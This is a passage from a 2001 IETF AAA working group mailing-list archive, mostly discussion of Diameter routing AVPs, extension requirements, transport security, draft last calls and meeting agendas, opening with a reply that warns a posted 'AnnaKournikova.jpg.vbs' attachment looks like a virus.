ietf.org (8.9.1a/8.9.1a) with SMTP id EAA14792 for ; Tue, 13 Feb 2001 04:52:15 -0500 (EST) Received: by segue.merit.edu (Postfix) id 696185DDD0; Tue, 13 Feb 2001 04:49:48 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 411845DE3A; Tue, 13 Feb 2001 04:49:48 -0500 (EST) Received: from acutiator.nacamar.de (mail.nacamar.de [194.162.162.200]) by segue.merit.edu (Postfix) with ESMTP id C2DD35DDD0 for ; Tue, 13 Feb 2001 04:49:46 -0500 (EST) Received: by acutiator.nacamar.de (Postfix, from userid 425) id 2E1785D70; Tue, 13 Feb 2001 10:49:46 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by acutiator.nacamar.de (Postfix) with ESMTP id 251F11F44; Tue, 13 Feb 2001 10:49:46 +0100 (CET) Date: Tue, 13 Feb 2001 10:49:45 +0100 (CET) From: hans-joachim.gurt@de.worldonline.com To: Glen Zorn Cc: AAA WG Subject: Re: [AAA-WG]: Here you have, ;o) // Virus: "AnnaKournikova.jpg.vbs" ! In-Reply-To: <005601c09558$d4a333e0$dc00500a@cisco.com> Message-ID: X-Reply-To: gurt@nacamar.de MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: Sender: owner-aaa-bof@merit.edu Precedence: bulk Hi, > 1. [Application: AnnaKournikova.jpg.vbs] (3.5KB) "" ^^^^^ On Mon, 12 Feb 2001, Glen Zorn wrote: > Hi: > Check This! This looks like a virus, so 'check' carefully ! By(t)e, HaJo Gurt -- Hans-Joachim Gurt | Nacamar / Tiscali Network Engineer (Dialin) | Robert-Bosch-Str. 32 / D-63303 Dreieich http://www.nacamar.net | hans-joachim.gurt@de.worldonline.com fax: +49-6103-916-171 | fon: +49-6103-916-923 ========--------========--------========--------========--------======== The empire writes back... From owner-aaa-bof@merit.edu Tue Feb 13 08:36:36 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA17687 for ; Tue, 13 Feb 2001 08:36:35 -0500 (EST) Received: by segue.merit.edu (Postfix) id 5A3DE5DDC8; Tue, 13 Feb 2001 08:35:55 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 45FD65DDED; Tue, 13 Feb 2001 08:35:55 -0500 (EST) Received: from aaa.interlinknetworks.com (interlink.merit.edu [198.108.95.110]) by segue.merit.edu (Postfix) with ESMTP id C78785DDC8 for ; Tue, 13 Feb 2001 08:35:53 -0500 (EST) Received: from phoenix (unknown [198.108.5.3]) by aaa.interlinknetworks.com (Postfix) with SMTP id 0E2DF73; Tue, 13 Feb 2001 08:36:05 -0500 (EST) From: "Bob Kopacz" To: "Pat Calhoun" , "David Spence" Cc: "Aaa-Wg" Subject: RE: [diameter] Re: [AAA-WG]: Message Forwarding and Routing Proposed text Date: Tue, 13 Feb 2001 08:34:55 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <3A8869F0.9164E344@Interlinknetworks.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Hi Pat and Dave, Here's some thoughts: 1. Rename some of the AVPs, for clarification. a. Since you have an Origin-Realm AVP, rename Routing-Realm to Destination-Realm. b. Since the "-Realm" part of Origin-Realm and Destination-Realm clarifies the content, rename the Destination AVP to Destination-DN (=destination domain name) or Destination-FQDN. c. Rename the Host-Name AVP to Origin-DN (or Origin-FQDN). This seems a more accurate name, as Host-Name might suggest the server's name. So now we have a nice symmetric set of AVPs: Origin-Realm, Destination-Realm, Origin-DN, and Destination-DN. Also, the Error-Reporting-NAI AVP, if it still exists, might become the Error-Reporting-DN AVP. 2. Require that Destination-Realm, if known, must be included in every Request/Query/Indication message. This means the NAS, when building a request, would extract the realm portion of the User-Name and create the Destination-Realm. My thinking is that this provides some benefits: a. User-Name is not involved in routing, so we have one less AVP player in the routing game. b. Things are simpler for hops along the way. Instead of fishing around for an optional Routing-Realm, falling back to the User-Name, and parsing the User-Name for the realm, a server just looks for Routing-Realm. Even if the Routing-Realm isn't present, it's no use looking at the User-Name. User-Name will either not be present, or will not include a realm. If Routing-Realm is not present in the Request sent by the NAS, then the first hop proxy fills it in. The Routing-Realm might not be present in the NAS's Request because (i) the Request has been sent before the NAS has answered the call, or (ii) this is a login request, so the user name has no realm portion. c. User-Name is not so overloaded. User-Name is used for identifying the user, but isn't used in routing. 3. So my understanding of the routing rules becomes: a. REQUESTs must contain Origin-Realm, Destination-Realm if known, and Origin-DN. Routing is by Destination-Realm, which the first hop proxy fills in if the NAS omitted this AVP. The NAS's Request contains no Route-Record AVPs. The Request that the home server receives contains N Route-Record AVPs, where N = the number of proxies. b. RESPONSEs must contain Origin-Realm, Destination-Realm, Origin-DN, Destination-DN. The Response's Destination-Realm is the Request's Origin-Realm. The Response sent by the home server contains the N Route-Record AVPs received in the Request. Each proxy removes one Routing-Record AVP. The Response received by the NAS contains no Route-Record AVPs. For all but the last hop, the response is forwarded by Routing-Record. The last hop is routed by Destination-DN. c. INDICATIONs must contain Origin-Realm, Destination-Realm, Origin-DN, Destination-DN. The Indication sent by the home server contains no Route-Record AVPs. Each proxy adds one Routing-Record AVP. The Indication received by the NAS contains N Route-Record AVPs, where N = the number of proxies. Routing is by Destination-Realm. Bob K. From owner-aaa-bof@merit.edu Wed Feb 14 11:56:51 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA06770 for ; Wed, 14 Feb 2001 11:56:51 -0500 (EST) Received: by segue.merit.edu (Postfix) id 510F85DE42; Wed, 14 Feb 2001 11:56:01 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 3BF755DE3E; Wed, 14 Feb 2001 11:56:01 -0500 (EST) Received: from gate.internaut.com (unknown [64.38.134.108]) by segue.merit.edu (Postfix) with ESMTP id AEFDC5DE30 for ; Wed, 14 Feb 2001 11:55:58 -0500 (EST) Received: from e1kj2 (e1kj2 [64.38.134.109]) by gate.internaut.com (8.10.2/8.10.2) with SMTP id f1EGntJ07724 for ; Wed, 14 Feb 2001 08:49:55 -0800 From: "Bernard Aboba" To: "Aaa-Wg@Merit. Edu" Subject: [AAA-WG]: Extension requirements? Date: Wed, 14 Feb 2001 08:56:52 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit At the interim meeting, we made a distinction between things that would be required of a NAS and those that would be required of a proxy and a server. The logic was that a NAS is typically an embedded device and therefore operates under different contraints than a proxy or a server, which presumably have much greater CPU, memory and disk resources available to them. In the same spirit, I would propose that AAA proxies and servers MUST implement the Accounting, NASREQ and MobileIP extensions, while NASen MUST implement the Accounting extension and at least one of the NASREQ and MobileIP extensions. While I can understand why a NAS would only implement those extensions appropriate for the kind of device (e.g. I wouldn't expect a dialup NAS to implement the Mobile IP extension), requiring that a proxy or server implement Accounting, MobileIP and NASREQ seems reasonable to me. Doing this will go a long way towards ensuring interoperability. Today, some RADIUS proxies don't recognize all of the attributes defined in RFCs 2865-2869, and this causes considerable headaches. It would be nice to avoid those interoperability problems with DIAMETER. From owner-aaa-bof@merit.edu Wed Feb 14 11:57:15 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA06788 for ; Wed, 14 Feb 2001 11:57:15 -0500 (EST) Received: by segue.merit.edu (Postfix) id 74F7C5DE32; Wed, 14 Feb 2001 11:56:03 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 133CD5DE30; Wed, 14 Feb 2001 11:56:03 -0500 (EST) Received: from gate.internaut.com (unknown [64.38.134.108]) by segue.merit.edu (Postfix) with ESMTP id C723F5DE32 for ; Wed, 14 Feb 2001 11:55:58 -0500 (EST) Received: from e1kj2 (e1kj2 [64.38.134.109]) by gate.internaut.com (8.10.2/8.10.2) with SMTP id f1EGntJ07742 for ; Wed, 14 Feb 2001 08:49:55 -0800 From: "Bernard Aboba" To: "Aaa-Wg@Merit. Edu" Subject: [AAA-WG]: AAA-interim minutes Date: Wed, 14 Feb 2001 08:56:52 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Thanks everyone for posting your recollections of the conclusions of the AAA interim meeting. Dave and I are working on complete and official minutes. If you have meeting minutes you'd like us to incorporate, please send these to me and Dave. From owner-aaa-bof@merit.edu Wed Feb 14 11:57:30 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA06838 for ; Wed, 14 Feb 2001 11:57:29 -0500 (EST) Received: by segue.merit.edu (Postfix) id DC47E5DE30; Wed, 14 Feb 2001 11:56:23 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 403E75DE45; Wed, 14 Feb 2001 11:56:08 -0500 (EST) Received: from gate.internaut.com (unknown [64.38.134.108]) by segue.merit.edu (Postfix) with ESMTP id 1D4C35DE38 for ; Wed, 14 Feb 2001 11:55:59 -0500 (EST) Received: from e1kj2 (e1kj2 [64.38.134.109]) by gate.internaut.com (8.10.2/8.10.2) with SMTP id f1EGntJ07745 for ; Wed, 14 Feb 2001 08:49:55 -0800 From: "Bernard Aboba" To: "Aaa-Wg@Merit. Edu" Subject: [AAA-WG]: Re: IPSEC/SSL vs. RADIUS simplicity Date: Wed, 14 Feb 2001 08:56:52 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit >I have to say I disagree with the new approach to security. I don't mind the >ipsec/SSL between proxies, but the "beauty" of RADIUS was that it was very >simple to implement, and did not add much network traffic. Also, RADIUS >take many resources to run, which was good since NASs had low memory and >slow CPUs. SSL has now been implemented on PDAs with 16 MB of memory. Similarly, I've seen ISPEC implementations (without IKE) on embedded systems. So I don't think I'd conclude that SSL/IPSEC is beyond the capability of modern NASen, though it does certainly add work. >I think that if we require IKE/IPSEC and/or SSL at the NAS level, then we are >losing all of the benefit that RADIUS had. Mandating IPSEC isn't the same as mandating IKE. I'd just refer to the IPSEC RFCs on that issue. For example, here's the language we put into the L2TP security spec: "L2TP security MUST meet the key management requirements of the IPSEC protocol suite. IKE SHOULD be supported for authentication, security association negotiation, and key management using the IPSEC DOI [5]." From owner-aaa-bof@merit.edu Wed Feb 14 11:57:45 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA06866 for ; Wed, 14 Feb 2001 11:57:44 -0500 (EST) Received: by segue.merit.edu (Postfix) id 0E8A85DE54; Wed, 14 Feb 2001 11:56:32 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 92F1E5DE38; Wed, 14 Feb 2001 11:56:11 -0500 (EST) Received: from gate.internaut.com (unknown [64.38.134.108]) by segue.merit.edu (Postfix) with ESMTP id A5AB75DE39 for ; Wed, 14 Feb 2001 11:56:00 -0500 (EST) Received: from e1kj2 (e1kj2 [64.38.134.109]) by gate.internaut.com (8.10.2/8.10.2) with SMTP id f1EGntJ07713; Wed, 14 Feb 2001 08:49:55 -0800 From: "Bernard Aboba" To: "Bernard Aboba" , "Aaa-Wg@Merit. Edu" Subject: [AAA-WG]: RE: load balancing Date: Wed, 14 Feb 2001 08:56:51 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit >I have been thinking about this alot more, and even tried to put this in the >I-D to see what would fall out, and I am not sure how it would be used. Unlike >DHCP, Diameter nodes do some capabilities exchange, so a client knows whether >a particular request should be forwarded to a next hop or not, based on its >supported extensions. Why does a NAS need to distinguish between proxies based on extensions? Shouldn't proxies be able to proxy any extensions? >The hash, as I understand it, would allow a node to hash the NAI and use the >result to identify the next hop. That's the basic idea. >However, doing this will now require that a separate hash table exist for >server+extension. Don't understand why a NAS would need this -- unless it was talking to AAA servers directly. The NAS should be able to assume that configured proxies can handle any extensions, no? >So all servers with the NASREQ extension would be in one hash, and the >same servers MAY also be present in the Accounting and Mobile IP hash table. Seems like this would only come up in the case of proxies talking to more than one AAA server, where the AAA servers had different capabilities. Personally, I'd leave this aspect to the implementations. >I think this is unnecessarily complex I would agree, but the source of the complexity lies in the need to distinguish proxies by their capabilities. From owner-aaa-bof@merit.edu Wed Feb 14 11:58:03 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA06883 for ; Wed, 14 Feb 2001 11:58:02 -0500 (EST) Received: by segue.merit.edu (Postfix) id 9CFF75DE4C; Wed, 14 Feb 2001 11:57:06 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 811DC5DE48; Wed, 14 Feb 2001 11:57:06 -0500 (EST) Received: from gate.internaut.com (unknown [64.38.134.108]) by segue.merit.edu (Postfix) with ESMTP id A006C5DE83 for ; Wed, 14 Feb 2001 11:56:59 -0500 (EST) Received: from e1kj2 (e1kj2 [64.38.134.109]) by gate.internaut.com (8.10.2/8.10.2) with SMTP id f1EGouJ07797 for ; Wed, 14 Feb 2001 08:50:56 -0800 From: "Bernard Aboba" To: "Aaa-Wg@Merit. Edu" Subject: [AAA-WG]: AAA WG last call on draft-ietf-aaa-proto-eval-02.txt Date: Wed, 14 Feb 2001 08:57:53 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit This is the AAA Working Group last call on draft-ietf-aaa-proto-eval-02.txt before sending it on to IETF Last Call. This draft is recommended for Informational status. If you have comments on it, please send them to the authors or to the aaa-wg@merit.edu mailing list BEFORE February 28, 2001. http://www.ietf.org/internet-drafts/draft-ietf-aaa-proto-eval-02.txt From owner-aaa-bof@merit.edu Wed Feb 14 12:22:47 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA07898 for ; Wed, 14 Feb 2001 12:22:47 -0500 (EST) Received: by segue.merit.edu (Postfix) id 76F915DE9F; Wed, 14 Feb 2001 12:20:07 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 639EE5DE99; Wed, 14 Feb 2001 12:20:07 -0500 (EST) Received: from gate.internaut.com (unknown [64.38.134.108]) by segue.merit.edu (Postfix) with ESMTP id 749425DE33 for ; Wed, 14 Feb 2001 12:20:05 -0500 (EST) Received: from e1kj2 (e1kj2 [64.38.134.109]) by gate.internaut.com (8.10.2/8.10.2) with SMTP id f1EHE2J09032 for ; Wed, 14 Feb 2001 09:14:02 -0800 From: "Bernard Aboba" To: "Aaa-Wg@Merit. Edu" Subject: [AAA-WG]: AAA WG last call on draft-ietf-aaa-isssues-04.txt Date: Wed, 14 Feb 2001 09:20:59 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit This is the AAA Working Group last call on draft-ietf-aaa-isssues-04.txt before sending it on to IETF Last Call. This draft is recommended for Informational status. If you have comments on it, please send them to the authors or to the aaa-wg@merit.edu mailing list BEFORE February 28, 2001. http://www.ietf.org/internet-drafts/draft-ietf-aaa-isssues-04.txt From owner-aaa-bof@merit.edu Wed Feb 14 12:35:30 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA08455 for ; Wed, 14 Feb 2001 12:35:30 -0500 (EST) Received: by segue.merit.edu (Postfix) id 4F5255DEAB; Wed, 14 Feb 2001 12:31:50 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 96EDC5DE83; Wed, 14 Feb 2001 12:31:49 -0500 (EST) Received: from gate.internaut.com (unknown [64.38.134.108]) by segue.merit.edu (Postfix) with ESMTP id 67C865DE90 for ; Wed, 14 Feb 2001 12:31:35 -0500 (EST) Received: from e1kj2 (e1kj2 [64.38.134.109]) by gate.internaut.com (8.10.2/8.10.2) with SMTP id f1EHPVJ09691 for ; Wed, 14 Feb 2001 09:25:31 -0800 From: "Bernard Aboba" To: "Aaa-Wg@Merit. Edu" Subject: [AAA-WG]: PLEASE READ: Problems with the AAA WG mailing list Date: Wed, 14 Feb 2001 09:32:28 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit There have been a number of problems with the AAA mailing list lately, and so some changes have been made. Many of you have noted that you are no longer receiving messages from the list, and appear to have been unsubscribed. If so, I'd urge you to re-register. I myself was unsubscribed from the list without notice. Also, if you've been unsubscribed, you will also notice that the mailing list is no longer accepting the messages you send, either. It will not provide any notice that your messages are being rejected. It just throws them away and doesn't forward them to the list. This is an artifact of the "anti-spam" protection that was recently installed. As a result of these problems, it does not appear reasonable to assume that the membership of the AAA WG has actually had a reasonable opportunity to comment on much of what has gone on in the last month. I am therefore restarting last call on a number of WG documents that were to have received comments during the period. I will also be resending some messages that require comment by the group. And I would urge those requiring comment on proposals to resent those messages to the list as well, and not assume that "silence is consent". In this case it can only be assumed that "silence means I was dropped from the mailing list." Also if you have sent messages to the AAA-WG mailing list over the last month, I would urge you to look at the archive to see whether they have been received, and if they have not been received to resend them. Thanks for your patience. From owner-aaa-bof@merit.edu Wed Feb 14 13:12:38 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA09940 for ; Wed, 14 Feb 2001 13:12:37 -0500 (EST) Received: by segue.merit.edu (Postfix) id C5D0A5DE52; Wed, 14 Feb 2001 13:12:00 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id A13235DE51; Wed, 14 Feb 2001 13:12:00 -0500 (EST) Received: from gate.internaut.com (unknown [64.38.134.108]) by segue.merit.edu (Postfix) with ESMTP id 693A95DE45 for ; Wed, 14 Feb 2001 13:11:53 -0500 (EST) Received: from e1kj2 (e1kj2 [64.38.134.109]) by gate.internaut.com (8.10.2/8.10.2) with SMTP id f1EI5nJ11935 for ; Wed, 14 Feb 2001 10:05:49 -0800 From: "Bernard Aboba" To: "Aaa-Wg@Merit. Edu" Subject: [AAA-WG]: Agenda items for IETF 50 Date: Wed, 14 Feb 2001 10:12:46 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Here is a preliminary agenda for IETF 50. If you have any items you'd like to get on the agenda, please send them to me or Dave. Monday, March 19, 2001, 1930-2200 Minute Takers & Bluesheets Agenda Bashing (5 minutes) Review of WG milestones (5 minutes) Review of Document Progress (5 minutes) Recommendations of the AAA-interim meeting, Dave Mitton (20 minutes) AAA transport profile, Bernard Aboba (20 minutes) http://www.ietf.org/internet-drafts/draft-ietf-aaa-transport-00.txt AAA Security: Why do we care?, Bernard Aboba (10 minutes) DIAMETER security functionality, Pat Calhoun (20 minutes) http://www.ietf.org/internet-drafts/draft-ietf-aaa-diameter-01.txt Kerberos for DIAMETER End-to-end security, Kaushik Narayan (30 minutes) http://www.ietf.org/internet-drafts/draft-kaushik-radius-sec-ext-05.txt CMS for DIAMETER End-to-End security, Stephen Farrell (30 minutes) http://www.ietf.org/internet-drafts/draft-calhoun-diameter-strong-crypto-06. txt Wednesday, March 21, 2001, 1300-1500 DATA MODELLING SMIng and DIAMETER, J. Schoenwaelder (30 minutes) http://www.ietf.org/internet-drafts/draft-ietf-sming-00.txt http://www.ietf.org/internet-drafts/draft-ietf-sming-modules-00.txt http://www.ietf.org/internet-drafts/draft-ietf-sming-inet-modules-00.txt http://www.ietf.org/internet-drafts/draft-schoenw-sming-diameter-00.txt AAA Data Modelling, David Spence (30 minutes) http://www.ietf.org/internet-drafts/draft-spence-aaa-nas-data-model-00.txt http://www.ietf.org/internet-drafts/draft-spence-aaaarch-objmsg-00.txt DIAMETER Data Modelling proposal, Erik Guttman (30 minutes) http://www.ietf.org/internet-drafts/draft-ietf-aaa-solutions-01.txt Data Modelling Discussion and wrapup (10 minutes) RESEARCH UPDATE (5 minutes) John Vollbrecht From owner-aaa-bof@merit.edu Wed Feb 14 13:36:34 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA10777 for ; Wed, 14 Feb 2001 13:36:34 -0500 (EST) Received: by segue.merit.edu (Postfix) id 24AB55DD91; Wed, 14 Feb 2001 13:35:08 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 0437D5DE04; Wed, 14 Feb 2001 13:35:07 -0500 (EST) Received: from gate.internaut.com (unknown [64.38.134.108]) by segue.merit.edu (Postfix) with ESMTP id 6859C5DD91 for ; Wed, 14 Feb 2001 13:35:05 -0500 (EST) Received: from e1kj2 (e1kj2 [64.38.134.109]) by gate.internaut.com (8.10.2/8.10.2) with SMTP id f1EIT1J13143 for ; Wed, 14 Feb 2001 10:29:01 -0800 From: "Bernard Aboba" To: "Aaa-Wg@Merit. Edu" Subject: [AAA-WG]: AAA WG last call on draft-ietf-aaa-issues-04.txt Date: Wed, 14 Feb 2001 10:35:58 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit This is the AAA Working Group last call on draft-ietf-aaa-issues-04.txt before sending it on to IETF Last Call. This draft is recommended for Informational status. If you have comments on it, please send them to the authors or to the aaa-wg@merit.edu mailing list BEFORE February 28, 2001. http://www.ietf.org/internet-drafts/draft-ietf-aaa-issues-04.txt From owner-aaa-bof@merit.edu Thu Feb 15 03:30:23 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA11504 for ; Thu, 15 Feb 2001 03:30:23 -0500 (EST) Received: by segue.merit.edu (Postfix) id 1E8615DDB1; Thu, 15 Feb 2001 03:29:50 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id E14835DDB8; Thu, 15 Feb 2001 03:29:49 -0500 (EST) Received: from ness.sophia.Sema.fr (unknown [195.101.208.115]) by segue.merit.edu (Postfix) with ESMTP id 0C7605DDB1 for ; Thu, 15 Feb 2001 03:29:47 -0500 (EST) Received: from sopmes01.sophia.sema.fr (sopmes01.sophia.sema.fr) by ness.sophia.Sema.fr (Content Technologies SMTPRS 4.2.1) with ESMTP id for ; Thu, 15 Feb 2001 09:24:20 +0100 Received: from palmier.sema.fr (palmier.sophia.sema.fr [172.23.126.156]) by sopmes01.sophia.sema.fr with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id 10G280QB; Thu, 15 Feb 2001 09:36:54 +0100 Message-Id: <5.0.2.1.0.20010215092811.00ac0830@mailserver> X-Sender: azh@mailserver X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Thu, 15 Feb 2001 09:28:44 +0100 To: "Aaa-Wg@Merit. Edu" From: Alain Zahm Subject: [AAA-WG]: IPDR Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-aaa-bof@merit.edu Precedence: bulk Is there any interaction between IPDR forum and Diameter initiative? Alain Zahm SEMA TELECOMS R&D Technical Director Route des Lucioles - Les Algorithmes - Pythagore A BP 279 - 06905 Sophia Antipolis Cedex Phone: +33 (0)4 93 95 40 66 Mobile: +33 (0)6 89 87 12 49 Mailto: alain.zahm@sema.fr PGP Key Fingerprint: F468 A906 F511 BFF7 CC8E 5F7C 5B42 2C06 B0C0 EF6B Web: www.sema.com www.sema.com/telecoms From owner-aaa-bof@merit.edu Thu Feb 15 13:29:53 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA26737 for ; Thu, 15 Feb 2001 13:29:53 -0500 (EST) Received: by segue.merit.edu (Postfix) id A14F75DDD7; Thu, 15 Feb 2001 13:29:26 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 7EDD25DDA5; Thu, 15 Feb 2001 13:29:26 -0500 (EST) Received: from gate.internaut.com (unknown [64.38.134.108]) by segue.merit.edu (Postfix) with ESMTP id 036445DE5B for ; Thu, 15 Feb 2001 13:29:22 -0500 (EST) Received: from e1kj2 (e1kj2 [64.38.134.109]) by gate.internaut.com (8.10.2/8.10.2) with SMTP id f1FIN9J26879 for ; Thu, 15 Feb 2001 10:23:10 -0800 From: "Bernard Aboba" To: "Aaa-Wg@Merit. Edu" Subject: RE: [AAA-WG]: IPDR Date: Thu, 15 Feb 2001 10:30:13 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <5.0.2.1.0.20010215092811.00ac0830@mailserver> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit >Is there any interaction between IPDR forum and Diameter initiative? There is no formal interaction. At IETF 49, we made the decision to remove support for transport of accounting records and focus on AVPs instead. That means that we are no longer conceiving of DIAMETER as a vehicle for conveyance of IPDR, ADIF or other accounting record types. Do you have a comment on that decision? From owner-aaa-bof@merit.edu Thu Feb 15 20:23:03 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA03553 for ; Thu, 15 Feb 2001 20:23:03 -0500 (EST) Received: by segue.merit.edu (Postfix) id 907655DDA3; Thu, 15 Feb 2001 20:21:05 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 78E4F5DEB3; Thu, 15 Feb 2001 20:21:05 -0500 (EST) Received: from cms3.etri.re.kr (cms3.etri.re.kr [129.254.16.13]) by segue.merit.edu (Postfix) with ESMTP id 77DCD5DDA3 for ; Thu, 15 Feb 2001 20:21:02 -0500 (EST) Received: by 